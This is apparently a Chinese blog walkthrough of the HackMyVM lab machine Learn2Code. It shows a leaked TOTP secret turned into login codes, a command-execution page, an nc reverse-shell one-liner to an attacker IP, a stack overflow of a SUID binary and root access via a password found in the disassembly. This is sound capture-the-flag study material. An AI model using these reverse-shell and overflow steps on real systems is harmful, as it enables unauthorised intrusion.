Windy's little blog

一切生活中的杂七杂八, and I like CTF.

HackMyVm靶机Learn2Code的Walkthrough(php,reverse)

    (靶机概要:php程序修改,linux SUID文件查找,linux程序反汇编,变量覆盖。)

    靶机的下载地址是https://hackmyvm.eu/machines/machine.php?vm=Learn2Code。

    运行后扫描端口,只有80开着。浏览器打开,显示需要输入Goole的授权码。

    图片.png


    目录找描结果如下。

    图片.png


    打开todo.txt,提示我们网站里有.bak备份文件。

    图片.png


    打开/includes/php目录,发现里面有一个access.php.bak文件。

    图片.png


     下载到本机后,可以看到这应该是access.php文件的备份,代码的主要意思是利用GoogleAuthenticator.php验证用户输入的授权码是否正确。

<?php
    require_once 'GoogleAuthenticator.php';
    $ga = new PHPGangsta_GoogleAuthenticator();
    $secret = "S4I22IG3KHZIGQCJ";
    if ($_POST['action'] == 'check_code') {
        $code = $_POST['code'];
        $result = $ga->verifyCode($secret, $code, 1);
        if ($result) {
            include('coder.php');
        } else {
            echo "wrong";
        }
    }
?>

    由于靶机的GoogleAuthenticator.php无法下载到本机,在网上可以搜索到这个文件的源代码。

    图片.png


    利用下面的代码将文件源码下载到本机:

 wget https://github.com/PHPGangsta/GoogleAuthenticator/blob/master/PHPGangsta/GoogleAuthenticator.php

    然后简单修改一下源代码如下:

    <?php
        require_once 'GoogleAuthenticator.php';
        $ga = new PHPGangsta_GoogleAuthenticator();
        $secret = "S4I22IG3KHZIGQCJ";
        $code=$ga->getCode($secret);
        echo $code;
?>

    运行后可以得到正确的code,是一个6位数字。

    图片.png


    在网站首页输入后,可以进入,来到一个代码执行页面。输入`id`,发现可以执行bash命令。

    图片.png


    验证过靶机有nc且可以执行-e参数后,我们在本机运行:

nc -nlvp 1234

    同时,在靶机运行:

 `nc 192.168.56.100 1234 -e /bin/bash`

   可以得到反弹shell。

    图片.png


    在靶机搜索,可以发现一个敏感文件。

    图片.png

    尝试运行一下,提示需要输入参数。任意输入一个字符串后,提示需要将'modified'变量的值改为0x61626364,也就是abcd的ascii码。

    图片.png


    用新鲜出炉的IDA 7.5可以查看这个文件的反汇编代码,用F5直接反编译成C伪代码。代码清晰明了,我们输入的参数存入了dest,缓冲区大小是76,接着就是变量v5。我们需要通过溢出,将v5的值变量"abcd"。

    图片.png


    由于dest的大小是76byte,也就是19个dword。再加个一个v5,共需要20个dowrd。我们执行如下代码,注意变量在内存的字节顺序是little endian,所以"abcd"在内存中是"dcba"。

MakeMeLearner `python3 -c 'print("dcba"*20)'`

    执行后,可以顺利覆盖v5的变量值,得到learner用户的shell。

    图片.png


    接下来要提权。在learner的用户目录里,发现一个名叫MySecretPasswordVault的文件,同样是一个ELF 64位的可执行文件。用IDA 7.5查看反汇编代码,这次不要再用F5了。

    图片.png

     代码中给rax赋值了一个字符串,但后面程序里没有用到这个字符串。难道这是密码吗?测试一下,果然得到了root权限。

    图片.png

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-BlogPHP 1.7.0